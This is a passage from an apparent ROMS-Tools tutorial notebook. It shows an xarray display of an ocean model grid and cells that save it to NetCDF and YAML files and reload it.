4785.40838739, ..., 5. ,\n", " 5. , 5. ],\n", " ...,\n", " [ 34.96562494, 34.96562494, 34.64577059, ..., 2490.87602025,\n", " 2462.90016636, 2462.90016636],\n", " [ 24.26561547, 24.26561547, 24.07732275, ..., 2557.84390819,\n", " 2524.00716182, 2524.00716182],\n", " [ 24.26561547, 24.26561547, 24.07732275, ..., 2557.84390819,\n", " 2524.00716182, 2524.00716182]])</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>angle_coarse</span></div><div class='xr-var-dims'>(eta_coarse, xi_coarse)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>0.4166 0.4151 ... 0.1198 0.1151</div><input id='attrs-0df226ca-bf0e-4386-b31b-926560c4ec44' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-0df226ca-bf0e-4386-b31b-926560c4ec44' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-4ac62ffe-41b0-447d-a497-f97312c0abae' class='xr-var-data-in' type='checkbox'><label for='data-4ac62ffe-41b0-447d-a497-f97312c0abae' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Angle between xi axis and east on coarsened grid</dd><dt><span>units :</span></dt><dd>radians</dd></dl></div><div class='xr-var-data'><pre>array([[0.41655375, 0.41513513, 0.4094385 , ..., 0.10087441, 0.09374607,\n", " 0.09196306],\n", " [0.42098345, 0.41954803, 0.41378359, ..., 0.10084398, 0.09360521,\n", " 0.09179457],\n", " [0.42548395, 0.42403164, 0.41819901, ..., 0.10082645, 0.09347537,\n", " 0.09163663],\n", " ...,\n", " [0.78706991, 0.78490005, 0.77613345, ..., 0.13403706, 0.11610131,\n", " 0.11160868],\n", " [0.79978862, 0.79761646, 0.78883854, ..., 0.13631654, 0.1179054 ,\n", " 0.11329326],\n", " [0.81277922, 0.81060611, 0.80182226, ..., 0.13872337, 0.11981665,\n", " 0.11507989]])</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>mask_coarse</span></div><div class='xr-var-dims'>(eta_coarse, xi_coarse)</div><div class='xr-var-dtype'>int32</div><div class='xr-var-preview xr-preview'>1 1 1 1 1 1 1 1 ... 1 1 1 1 1 1 1 1</div><input id='attrs-bd633520-667a-4c89-b5e0-d6aa2a3f71c2' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-bd633520-667a-4c89-b5e0-d6aa2a3f71c2' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-5a725b29-14fd-4d83-b72f-38e8eb94459c' class='xr-var-data-in' type='checkbox'><label for='data-5a725b29-14fd-4d83-b72f-38e8eb94459c' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Mask at rho-points on coarsened grid</dd><dt><span>units :</span></dt><dd>land/water (0/1)</dd></dl></div><div class='xr-var-data'><pre>array([[1, 1, 1, ..., 0, 0, 0],\n", " [1, 1, 1, ..., 0, 0, 0],\n", " [1, 1, 1, ..., 0, 0, 0],\n", " ...,\n", " [1, 1, 1, ..., 1, 1, 1],\n", " [1, 0, 0, ..., 1, 1, 1],\n", " [1, 0, 0, ..., 1, 1, 1]], dtype=int32)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>Cs_r</span></div><div class='xr-var-dims'>(s_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>-0.992 -0.9753 ... -9.874e-06</div><input id='attrs-085c17bf-3849-4664-975c-f44b8045b862' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-085c17bf-3849-4664-975c-f44b8045b862' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-daec2505-7686-49c8-b353-d94470a754df' class='xr-var-data-in' type='checkbox'><label for='data-daec2505-7686-49c8-b353-d94470a754df' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>S-coordinate stretching curves at rho-points</dd><dt><span>units :</span></dt><dd>nondimensional</dd></dl></div><div class='xr-var-data'><pre>array([-9.91966903e-01, -9.75310326e-01, -9.57903922e-01, -9.39797223e-01,\n", " -9.21044052e-01, -9.01701748e-01, -8.81830335e-01, -8.61491978e-01,\n", " -8.40749860e-01, -8.19667757e-01, -7.98309207e-01, -7.76737094e-01,\n", " -7.55012929e-01, -7.33196437e-01, -7.11345196e-01, -6.89514160e-01,\n", " -6.67755604e-01, -6.46118581e-01, -6.24649167e-01, -6.03389859e-01,\n", " -5.82379997e-01, -5.61655402e-01, -5.41248500e-01, -5.21188438e-01,\n", " -5.01500964e-01, -4.82208848e-01, -4.63331670e-01, -4.44886118e-01,\n", " -4.26886171e-01, -4.09343123e-01, -3.92265856e-01, -3.75660986e-01,\n", " -3.59532982e-01, -3.43884379e-01, -3.28715861e-01, -3.14026594e-01,\n", " -2.99814165e-01, -2.86074877e-01, -2.72803813e-01, -2.59995013e-01,\n", " -2.47641608e-01, -2.35735863e-01, -2.24269405e-01, -2.13233232e-01,\n", " -2.02617854e-01, -1.92413345e-01, -1.82609484e-01, -1.73195779e-01,\n", " -1.64161548e-01, -1.55495971e-01, -1.47188202e-01, -1.39227331e-01,\n", " -1.31602496e-01, -1.24302894e-01, -1.17317833e-01, -1.10636741e-01,\n", " -1.04249209e-01, -9.81450155e-02, -9.23141390e-02, -8.67467746e-02,\n", " -8.14333707e-02, -7.63645992e-02, -7.15314075e-02, -6.69250041e-02,\n", " -6.25368580e-02, -5.83587363e-02, -5.43826595e-02, -5.06009422e-02,\n", " -4.70061824e-02, -4.35912535e-02, -4.03493047e-02, -3.72737721e-02,\n", " -3.43583524e-02, -3.15970331e-02, -2.89840512e-02, -2.65139174e-02,\n", " -2.41813995e-02, -2.19815224e-02, -1.99095625e-02, -1.79610383e-02,\n", " -1.61317140e-02, -1.44175906e-02, -1.28148990e-02, -1.13201011e-02,\n", " -9.92987957e-03, -8.64113960e-03, -7.45099736e-03, -6.35678275e-03,\n", " -5.35603240e-03, -4.44648601e-03, -3.62608512e-03, -2.89296708e-03,\n", " -2.24546436e-03, -1.68210152e-03, -1.20159215e-03, -8.02837836e-04,\n", " -4.84925782e-04, -2.47127580e-04, -8.88979121e-05, -9.87376825e-06],\n", " dtype=float32)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>Cs_w</span></div><div class='xr-var-dims'>(s_w)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>-1.0 -0.9837 ... -3.95e-05 0.0</div><input id='attrs-366e5d18-86a5-425f-a071-431f602f8b70' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-366e5d18-86a5-425f-a071-431f602f8b70' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-7b5e3403-457f-4beb-b576-f12bb8d85ea4' class='xr-var-data-in' type='checkbox'><label for='data-7b5e3403-457f-4beb-b576-f12bb8d85ea4' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>S-coordinate stretching curves at w-points</dd><dt><span>units :</span></dt><dd>nondimensional</dd></dl></div><div class='xr-var-data'><pre>array([-1.0000000e+00, -9.8373526e-01, -9.6669787e-01, -9.4893485e-01,\n", " -9.3049794e-01, -9.1144282e-01, -8.9182830e-01, -8.7171561e-01,\n", " -8.5116738e-01, -8.3024728e-01, -8.0901909e-01, -7.8754598e-01,\n", " -7.6589024e-01, -7.4411261e-01, -7.2227168e-01, -7.0042384e-01,\n", " -6.7862266e-01, -6.5691894e-01, -6.3536018e-01, -6.1399072e-01,\n", " -5.9285146e-01, -5.7197994e-01, -5.5141032e-01, -5.3117341e-01,\n", " -5.1129663e-01, -4.9180421e-01, -4.7271729e-01, -4.5405400e-01,\n", " -4.3582967e-01, -4.1805691e-01, -4.0074578e-01, -3.8390404e-01,\n", " -3.6753717e-01, -3.5164866e-01, -3.3624011e-01, -3.2131144e-01,\n", " -3.0686098e-01, -2.9288566e-01, -2.7938116e-01, -2.6634204e-01,\n", " -2.5376186e-01, -2.4163328e-01, -2.2994828e-01, -2.1869811e-01,\n", " -2.0787355e-01, -1.9746487e-01, -1.8746199e-01, -1.7785452e-01,\n", " -1.6863190e-01, -1.5978335e-01, -1.5129805e-01, -1.4316508e-01,\n", " -1.3537359e-01, -1.2791272e-01, -1.2077171e-01, -1.1393995e-01,\n", " -1.0740692e-01, -1.0116233e-01, -9.5196031e-02, -8.9498125e-02,\n", " -8.4058918e-02, -7.8868978e-02, -7.3919117e-02, -6.9200397e-02,\n", " -6.4704172e-02, -6.0422052e-02, -5.6345928e-02, -5.2467976e-02,\n", " -4.8780646e-02, -4.5276675e-02, -4.1949075e-02, -3.8791135e-02,\n", " -3.5796430e-02, -3.2958798e-02, -3.0272348e-02, -2.7731461e-02,\n", " -2.5330773e-02, -2.3065183e-02, -2.0929839e-02, -1.8920140e-02,\n", " -1.7031731e-02, -1.5260493e-02, -1.3602542e-02, -1.2054225e-02,\n", " -1.0612117e-02, -9.2730094e-03, -8.0339154e-03, -6.8920576e-03,\n", " -5.8448706e-03, -4.8899921e-03, -4.0252637e-03, -3.2487246e-03,\n", " -2.5586106e-03, -1.9533504e-03, -1.4315632e-03, -9.9205703e-04,\n", " -6.3382636e-04, -3.5605079e-04, -1.5809362e-04, -3.9500741e-05,\n", " 0.0000000e+00], dtype=float32)</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-1df27000-b74e-4d1e-bdcd-8cb7ee0c969e' class='xr-section-summary-in' type='checkbox' disabled ><label for='section-1df27000-b74e-4d1e-bdcd-8cb7ee0c969e' class='xr-section-summary' title='Expand/collapse section'>Indexes: <span>(0)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'></ul></div></li><li class='xr-section-item'><input id='section-9f9228d5-273a-4ede-ba46-9109eb016088' class='xr-section-summary-in' type='checkbox' ><label for='section-9f9228d5-273a-4ede-ba46-9109eb016088' class='xr-section-summary' >Attributes: <span>(12)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><dl class='xr-attrs'><dt><span>title :</span></dt><dd>ROMS grid created by ROMS-Tools</dd><dt><span>roms_tools_version :</span></dt><dd>0.1.dev138+dirty</dd><dt><span>size_x :</span></dt><dd>1800</dd><dt><span>size_y :</span></dt><dd>2400</dd><dt><span>center_lon :</span></dt><dd>-10</dd><dt><span>center_lat :</span></dt><dd>61</dd><dt><span>rot :</span></dt><dd>20</dd><dt><span>topography_source :</span></dt><dd>ETOPO5</dd><dt><span>hmin :</span></dt><dd>5.0</dd><dt><span>theta_s :</span></dt><dd>5.0</dd><dt><span>theta_b :</span></dt><dd>2.0</dd><dt><span>hc :</span></dt><dd>300.0</dd></dl></div></li></ul></div></div>" ], "text/plain": [ "<xarray.Dataset> Size: 26MB\n", "Dimensions: (eta_rho: 102, xi_rho: 102, xi_u: 101, eta_v: 101,\n", " eta_coarse: 52, xi_coarse: 52, s_rho: 100, s_w: 101)\n", "Coordinates: (12/14)\n", " lat_rho (eta_rho, xi_rho) float64 83kB 47.84 47.91 ... 73.53\n", " lon_rho (eta_rho, xi_rho) float64 83kB 344.0 344.3 ... 4.207\n", " lat_u (eta_rho, xi_u) float64 82kB 47.87 47.94 ... 73.5 73.52\n", " lon_u (eta_rho, xi_u) float64 82kB 344.2 344.4 ... 3.925\n", " lat_v (eta_v, xi_rho) float64 82kB 47.94 48.0 ... 73.4 73.42\n", " lon_v (eta_v, xi_rho) float64 82kB 344.0 344.2 ... 4.247\n", " ... ...\n", " layer_depth_rho (s_rho, eta_rho, xi_rho) float32 4MB 4.733e+03 ... 1...\n", " layer_depth_u (s_rho, eta_rho, xi_u) float32 4MB 4.733e+03 ... 1.363\n", " layer_depth_v (s_rho, eta_v, xi_rho) float32 4MB 4.733e+03 ... 1.363\n", " interface_depth_rho (s_w, eta_rho, xi_rho) float32 4MB 4.771e+03 ... -0.0\n", " interface_depth_u (s_w, eta_rho, xi_u) float32 4MB 4.771e+03 ... -0.0\n", " interface_depth_v (s_w, eta_v, xi_rho) float32 4MB 4.771e+03 ... -0.0\n", "Dimensions without coordinates: eta_rho, xi_rho, xi_u, eta_v, eta_coarse,\n", " xi_coarse, s_rho, s_w\n", "Data variables: (12/13)\n", " angle (eta_rho, xi_rho) float64 83kB 0.4177 0.4177 ... 0.1146\n", " f (eta_rho, xi_rho) float64 83kB 0.0001078 ... 0.0001395\n", " pm (eta_rho, xi_rho) float64 83kB 4.209e-05 ... 4.209e-05\n", " pn (eta_rho, xi_rho) float64 83kB 5.592e-05 ... 5.592e-05\n", " spherical |S1 1B b'T'\n", " mask_rho (eta_rho, xi_rho) int32 42kB 1 1 1 1 1 1 ... 1 1 1 1 1\n", " ... ...\n", " mask_v (eta_v, xi_rho) int32 41kB 1 1 1 1 1 1 ... 1 1 1 1 1 1\n", " h (eta_rho, xi_rho) float64 83kB 4.771e+03 ... 2.524e+03\n", " angle_coarse (eta_coarse, xi_coarse) float64 22kB 0.4166 ... 0.1151\n", " mask_coarse (eta_coarse, xi_coarse) int32 11kB 1 1 1 1 ... 1 1 1 1\n", " Cs_r (s_rho) float32 400B -0.992 -0.9753 ... -9.874e-06\n", " Cs_w (s_w) float32 404B -1.0 -0.9837 ... -3.95e-05 0.0\n", "Attributes:\n", " title: ROMS grid created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " size_x: 1800\n", " size_y: 2400\n", " center_lon: -10\n", " center_lat: 61\n", " rot: 20\n", " topography_source: ETOPO5\n", " hmin: 5.0\n", " theta_s: 5.0\n", " theta_b: 2.0\n", " hc: 300.0" ] }, "execution_count": 4, "metadata": {}, "output_type": "execute_result" } ], "source": [ "grid.ds" ] }, { "cell_type": "markdown", "id": "710fee39-f7e3-42ec-a626-b07ffeeb5e72", "metadata": {}, "source": [ "## Saving as NetCDF or YAML file" ] }, { "cell_type": "markdown", "id": "42d95865-b527-44d5-a3dd-cf7bc7ccdf70", "metadata": {}, "source": [ "Once we are happy with our grid, we can save it as a netCDF file via the `.save` method:" ] }, { "cell_type": "code", "execution_count": 5, "id": "c8bb870a-1e7a-4d55-8b49-9773aa9da877", "metadata": { "tags": [] }, "outputs": [], "source": [ "filepath = \"/pscratch/sd/n/nloose/grids/my_roms_grid.nc\"" ] }, { "cell_type": "code", "execution_count": 6, "id": "ed7ee216-55df-4b6c-9c04-4e24223092cf", "metadata": { "tags": [] }, "outputs": [ { "data": { "text/plain": [ "[PosixPath('/pscratch/sd/n/nloose/grids/my_roms_grid.nc')]" ] }, "execution_count": 6, "metadata": {}, "output_type": "execute_result" } ], "source": [ "grid.save(filepath)" ] }, { "cell_type": "markdown", "id": "5a0673cc-6055-4932-9f67-5a8cb38044d6", "metadata": {}, "source": [ "We can also export the grid parameters to a YAML file. This gives us a more storage-effective way to save and share input data made with `ROMS-Tools`. The YAML file can be used to recreate the same grid object later." ] }, { "cell_type": "code", "execution_count": 7, "id": "10905992-f199-4910-83d8-14abb83ccad2", "metadata": { "tags": [] }, "outputs": [], "source": [ "yaml_filepath = \"/pscratch/sd/n/nloose/grids/my_roms_grid.yaml\"" ] }, { "cell_type": "code", "execution_count": 8, "id": "9fffdc75-69a6-462c-8803-56b5f67a3714", "metadata": { "tags": [] }, "outputs": [], "source": [ "grid.to_yaml(yaml_filepath)" ] }, { "cell_type": "markdown", "id": "f70de54a-9cd8-438f-98eb-9ffe9a4fe9ad", "metadata": {}, "source": [ "These are the contents of the written YAML file." ] }, { "cell_type": "code", "execution_count": 9, "id": "9874d666-716d-497f-ada6-8d810a4f14e4", "metadata": { "tags": [] }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "---\n", "roms_tools_version: 0.1.dev138+dirty\n", "---\n", "Grid:\n", " N: 100\n", " center_lat: 61\n", " center_lon: -10\n", " hc: 300.0\n", " hmin: 5.0\n", " nx: 100\n", " ny: 100\n", " rot: 20\n", " size_x: 1800\n", " size_y: 2400\n", " theta_b: 2.0\n", " theta_s: 5.0\n", " topography_source: ETOPO5\n", "\n" ] } ], "source": [ "# Open and read the YAML file\n", "with open(yaml_filepath, \"r\") as file:\n", " file_contents = file.read()\n", "\n", "# Print the contents\n", "print(file_contents)" ] }, { "cell_type": "markdown", "id": "0c3f07b7-171f-40f7-b1fa-803e65a2d0c4", "metadata": {}, "source": [ "## Creating a grid from an existing NetCDF or YAML file\n", "\n", "We can also create a grid from an existing file." ] }, { "cell_type": "code", "execution_count": 10, "id": "7854929f-53e2-45f7-a85f-50716b5fd389", "metadata": { "tags": [] }, "outputs": [], "source": [ "filepath = \"/pscratch/sd/n/nloose/grids/my_roms_grid.nc\"" ] }, { "cell_type": "code", "execution_count": 11, "id": "ee32c007-0088-4073-9193-7481911f7220", "metadata": { "tags": [] }, "outputs": [], "source": [ "the_same_grid = Grid.from_file(filepath)" ] }, { "cell_type": "code", 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--xr-disabled-color: var(--jp-layout-color3, #bdbdbd);\n", " --xr-background-color: var(--jp-layout-color0, white);\n", " --xr-background-color-row-even: var(--jp-layout-color1, white);\n", " --xr-background-color-row-odd: var(--jp-layout-color2, #eeeeee);\n", "}\n", "\n", "html[theme=dark],\n", "html[data-theme=dark],\n", "body[data-theme=dark],\n", "body.vscode-dark {\n", " --xr-font-color0: rgba(255, 255, 255, 1);\n", " --xr-font-color2: rgba(255, 255, 255, 0.54);\n", " --xr-font-color3: rgba(255, 255, 255, 0.38);\n", " --xr-border-color: #1F1F1F;\n", " --xr-disabled-color: #515151;\n", " --xr-background-color: #111111;\n", " --xr-background-color-row-even: #111111;\n", " --xr-background-color-row-odd: #313131;\n", "}\n", "\n", ".xr-wrap {\n", " display: block !important;\n", " min-width: 300px;\n", " max-width: 700px;\n", "}\n", "\n", ".xr-text-repr-fallback {\n", " /* fallback to plain text repr when CSS is not injected (untrusted notebook) */\n", " display: none;\n", "}\n", "\n", ".xr-header {\n", " padding-top: 6px;\n", " padding-bottom: 6px;\n", " margin-bottom: 4px;\n", " border-bottom: solid 1px var(--xr-border-color);\n", "}\n", "\n", ".xr-header > div,\n", ".xr-header > ul {\n", " display: inline;\n", " margin-top: 0;\n", " margin-bottom: 0;\n", "}\n", "\n", ".xr-obj-type,\n", ".xr-array-name {\n", " margin-left: 2px;\n", " margin-right: 10px;\n", "}\n", "\n", ".xr-obj-type {\n", " color: var(--xr-font-color2);\n", "}\n", "\n", ".xr-sections {\n", " padding-left: 0 !important;\n", " display: grid;\n", " grid-template-columns: 150px auto auto 1fr 0 20px 0 20px;\n", "}\n", "\n", ".xr-section-item {\n", " display: contents;\n", "}\n", "\n", ".xr-section-item input {\n", " display: inline-block;\n", " opacity: 0;\n", "}\n", "\n", ".xr-section-item input + label {\n", " color: var(--xr-disabled-color);\n", "}\n", "\n", ".xr-section-item input:enabled + label {\n", " cursor: pointer;\n", " color: var(--xr-font-color2);\n", "}\n", "\n", ".xr-section-item input:focus + label {\n", " border: 2px solid var(--xr-font-color0);\n", "}\n", "\n", ".xr-section-item input:enabled + label:hover {\n", " color: var(--xr-font-color0);\n", "}\n", "\n", ".xr-section-summary {\n", " grid-column: 1;\n", " color: var(--xr-font-color2);\n", " font-weight: 500;\n", "}\n", "\n", ".xr-section-summary > span {\n", " display: inline-block;\n", " padding-left: 0.5em;\n", "}\n", "\n", ".xr-section-summary-in:disabled + label {\n", " color: var(--xr-font-color2);\n", "}\n", "\n", ".xr-section-summary-in + label:before {\n", " display: inline-block;\n", " content: '►';\n", " font-size: 11px;\n", " width: 15px;\n", " text-align: center;\n", "}\n", "\n", ".xr-section-summary-in:disabled + label:before {\n", " color: var(--xr-disabled-color);\n", "}\n", "\n", ".xr-section-summary-in:checked + label:before {\n", " content: '▼';\n", "}\n", "\n", ".xr-section-summary-in:checked + label > span {\n", " display: none;\n", "}\n", "\n", ".xr-section-summary,\n", ".xr-section-inline-details {\n", " padding-top: 4px;\n", " padding-bottom: 4px;\n", "}\n", "\n", ".xr-section-inline-details {\n", " grid-column: 2 / -1;\n", "}\n", "\n", ".xr-section-details {\n", " display: none;\n", " grid-column: 1 / -1;\n", " margin-bottom: 5px;\n", "}\n", "\n", ".xr-section-summary-in:checked ~ .xr-section-details {\n", " display: contents;\n", "}\n", "\n", ".xr-array-wrap {\n", " grid-column: 1 / -1;\n", " display: grid;\n", " grid-template-columns: 20px auto;\n", "}\n", "\n", ".xr-array-wrap > label {\n", " grid-column: 1;\n", " vertical-align: top;\n", "}\n", "\n", ".xr-preview {\n", " color: var(--xr-font-color3);\n", "}\n", "\n", ".xr-array-preview,\n", ".xr-array-data {\n", " padding: 0 5px !important;\n", " grid-column: 2;\n", "}\n", "\n", ".xr-array-data,\n", ".xr-array-in:checked ~ .xr-array-preview {\n", " display: none;\n", "}\n", "\n", ".xr-array-in:checked ~ .xr-array-data,\n", ".xr-array-preview {\n", " display: inline-block;\n", "}\n", "\n", ".xr-dim-list {\n", " display: inline-block !important;\n", " list-style: none;\n", " padding: 0 !important;\n", " margin: 0;\n", "}\n", "\n", ".xr-dim-list li {\n", " display: inline-block;\n", " padding: 0;\n", " margin: 0;\n", "}\n", "\n", ".xr-dim-list:before {\n", " content: '(';\n", "}\n", "\n", ".xr-dim-list:after {\n", " content: ')';\n", "}\n", "\n", ".xr-dim-list li:not(:last-child):after {\n", " content: ',';\n", " padding-right: 5px;\n", "}\n", "\n", ".xr-has-index {\n", " font-weight: bold;\n", "}\n", "\n", ".xr-var-list,\n", ".xr-var-item {\n", " display: contents;\n", "}\n", "\n", ".xr-var-item > div,\n", ".xr-var-item label,\n", ".xr-var-item > .xr-var-name span {\n", " background-color: var(--xr-background-color-row-even);\n", " margin-bottom: 0;\n", "}\n", "\n", ".xr-var-item > .xr-var-name:hover span {\n", " padding-right: 5px;\n", "}\n", "\n", ".xr-var-list > li:nth-child(odd) > div,\n", ".xr-var-list > li:nth-child(odd) > label,\n", ".xr-var-list > li:nth-child(odd) > .xr-var-name span {\n", " background-color: var(--xr-background-color-row-odd);\n", "}\n", "\n", ".xr-var-name {\n", " grid-column: 1;\n", "}\n", "\n", ".xr-var-dims {\n", " grid-column: 2;\n", "}\n", "\n", ".xr-var-dtype {\n", " grid-column: 3;\n", " text-align: right;\n", " color: var(--xr-font-color2);\n", "}\n", "\n", ".xr-var-preview {\n", " grid-column: 4;\n", "}\n", "\n", ".xr-index-preview {\n", " grid-column: 2 / 5;\n", " color: var(--xr-font-color2);\n", "}\n", "\n", ".xr-var-name,\n", ".xr-var-dims,\n", ".xr-var-dtype,\n", ".xr-preview,\n", ".xr-attrs dt {\n", " white-space: nowrap;\n", " overflow: hidden;\n", " text-overflow: ellipsis;\n", " padding-right: 10px;\n", "}\n", "\n", ".xr-var-name:hover,\n", ".xr-var-dims:hover,\n", ".xr-var-dtype:hover,\n", ".xr-attrs dt:hover {\n", " overflow: visible;\n", " width: auto;\n", " z-index: 1;\n", "}\n", "\n", ".xr-var-attrs,\n", ".xr-var-data,\n", ".xr-index-data {\n", " display: none;\n", " background-color: var(--xr-background-color) !important;\n", " padding-bottom: 5px !important;\n", "}\n", "\n", ".xr-var-attrs-in:checked ~ .xr-var-attrs,\n", ".xr-var-data-in:checked ~ .xr-var-data,\n", ".xr-index-data-in:checked ~ .xr-index-data {\n", " display: block;\n", "}\n", "\n", ".xr-var-data > table {\n", " float: right;\n", "}\n", "\n", ".xr-var-name span,\n", ".xr-var-data,\n", ".xr-index-name div,\n", ".xr-index-data,\n", ".xr-attrs {\n", " padding-left: 25px !important;\n", "}\n", "\n", ".xr-attrs,\n", ".xr-var-attrs,\n", ".xr-var-data,\n", ".xr-index-data {\n", " grid-column: 1 / -1;\n", "}\n", "\n", "dl.xr-attrs {\n", " padding: 0;\n", " margin: 0;\n", " display: grid;\n", " grid-template-columns: 125px auto;\n", "}\n", "\n", ".xr-attrs dt,\n", ".xr-attrs dd {\n", " padding: 0;\n", " margin: 0;\n", " float: left;\n", " padding-right: 10px;\n", " width: auto;\n", "}\n", "\n", ".xr-attrs dt {\n", " font-weight: normal;\n", " grid-column: 1;\n", "}\n", "\n", ".xr-attrs dt:hover span {\n", " display: inline-block;\n", " background: var(--xr-background-color);\n", " padding-right: 10px;\n", "}\n", "\n", ".xr-attrs dd {\n", " grid-column: 2;\n", " white-space: pre-wrap;\n", " word-break: break-all;\n", "}\n", "\n", ".xr-icon-database,\n", ".xr-icon-file-text2,\n", ".xr-no-icon {\n", " display: inline-block;\n", " vertical-align: middle;\n", " width: 1em;\n", " height: 1.5em !important;\n", " stroke-width: 0;\n", " stroke: currentColor;\n", " fill: currentColor;\n", "}\n", "</style><pre class='xr-text-repr-fallback'>&lt;xarray.Dataset&gt; Size: 26MB\n", "Dimensions: (eta_rho: 102, xi_rho: 102, xi_u: 101, eta_v: 101,\n", " eta_coarse: 52, xi_coarse: 52, s_rho: 100, s_w: 101)\n", "Coordinates: (12/14)\n", " lat_rho (eta_rho, xi_rho) float64 83kB ...\n", " lon_rho (eta_rho, xi_rho) float64 83kB ...\n", " lat_u (eta_rho, xi_u) float64 82kB ...\n", " lon_u (eta_rho, xi_u) float64 82kB ...\n", " lat_v (eta_v, xi_rho) float64 82kB ...\n", " lon_v (eta_v, xi_rho) float64 82kB ...\n", " ... ...\n", " layer_depth_rho (s_rho, eta_rho, xi_rho) float32 4MB ...\n", " layer_depth_u (s_rho, eta_rho, xi_u) float32 4MB ...\n", " layer_depth_v (s_rho, eta_v, xi_rho) float32 4MB ...\n", " interface_depth_rho (s_w, eta_rho, xi_rho) float32 4MB ...\n", " interface_depth_u (s_w, eta_rho, xi_u) float32 4MB ...\n", " interface_depth_v (s_w, eta_v, xi_rho) float32 4MB ...\n", "Dimensions without coordinates: eta_rho, xi_rho, xi_u, eta_v, eta_coarse,\n", " xi_coarse, s_rho, s_w\n", "Data variables: (12/13)\n", " angle (eta_rho, xi_rho) float64 83kB ...\n", " f (eta_rho, xi_rho) float64 83kB ...\n", " pm (eta_rho, xi_rho) float64 83kB ...\n", " pn (eta_rho, xi_rho) float64 83kB ...\n", " spherical |S1 1B ...\n", " mask_rho (eta_rho, xi_rho) int32 42kB ...\n", " ... ...\n", " mask_v (eta_v, xi_rho) int32 41kB ...\n", " h (eta_rho, xi_rho) float64 83kB ...\n", " angle_coarse (eta_coarse, xi_coarse) float64 22kB ...\n", " mask_coarse (eta_coarse, xi_coarse) int32 11kB ...\n", " Cs_r (s_rho) float32 400B ...\n", " Cs_w (s_w) float32 404B ...\n", "Attributes:\n", " title: ROMS grid created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " size_x: 1800\n", " size_y: 2400\n", " center_lon: -10\n", " center_lat: 61\n", " rot: 20\n", " topography_source: ETOPO5\n", " hmin: 5.0\n", " theta_s: 5.0\n", " theta_b: 2.0\n", " hc: 300.0</pre><div class='xr-wrap' style='display:none'><div class='xr-header'><div class='xr-obj-type'>xarray.Dataset</div></div><ul class='xr-sections'><li class='xr-section-item'><input id='section-c2ee1e6a-35f7-4163-bdc8-a8a8e59d3c05' class='xr-section-summary-in' type='checkbox' disabled ><label for='section-c2ee1e6a-35f7-4163-bdc8-a8a8e59d3c05' class='xr-section-summary' title='Expand/collapse section'>Dimensions:</label><div class='xr-section-inline-details'><ul class='xr-dim-list'><li><span>eta_rho</span>: 102</li><li><span>xi_rho</span>: 102</li><li><span>xi_u</span>: 101</li><li><span>eta_v</span>: 101</li><li><span>eta_coarse</span>: 52</li><li><span>xi_coarse</span>: 52</li><li><span>s_rho</span>: 100</li><li><span>s_w</span>: 101</li></ul></div><div class='xr-section-details'></div></li><li class='xr-section-item'><input id='section-0e5dabb6-5c71-4f30-99b9-dc35d7871af2' class='xr-section-summary-in' type='checkbox' checked><label for='section-0e5dabb6-5c71-4f30-99b9-dc35d7871af2' class='xr-section-summary' >Coordinates: <span>(14)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>lat_rho</span></div><div class='xr-var-dims'>(eta_rho, xi_rho)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>...</div><input id='attrs-59753fec-78c0-4151-8135-4e4ffd991bc0' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-59753fec-78c0-4151-8135-4e4ffd991bc0' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-a3fed145-ba8c-4d8f-a3d0-b857c9d7ae65' class='xr-var-data-in' type='checkbox'><label for='data-a3fed145-ba8c-4d8f-a3d0-b857c9d7ae65' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>latitude of rho-points</dd><dt><span>units :</span></dt><dd>degrees North</dd></dl></div><div class='xr-var-data'><pre>[10404 values with dtype=float64]</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>lon_rho</span></div><div class='xr-var-dims'>(eta_rho, xi_rho)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>...</div><input id='attrs-41fde44c-cd0a-4d9e-9a47-1d925d6e114b' class='xr-var-attrs-in' type='checkbox' ><label 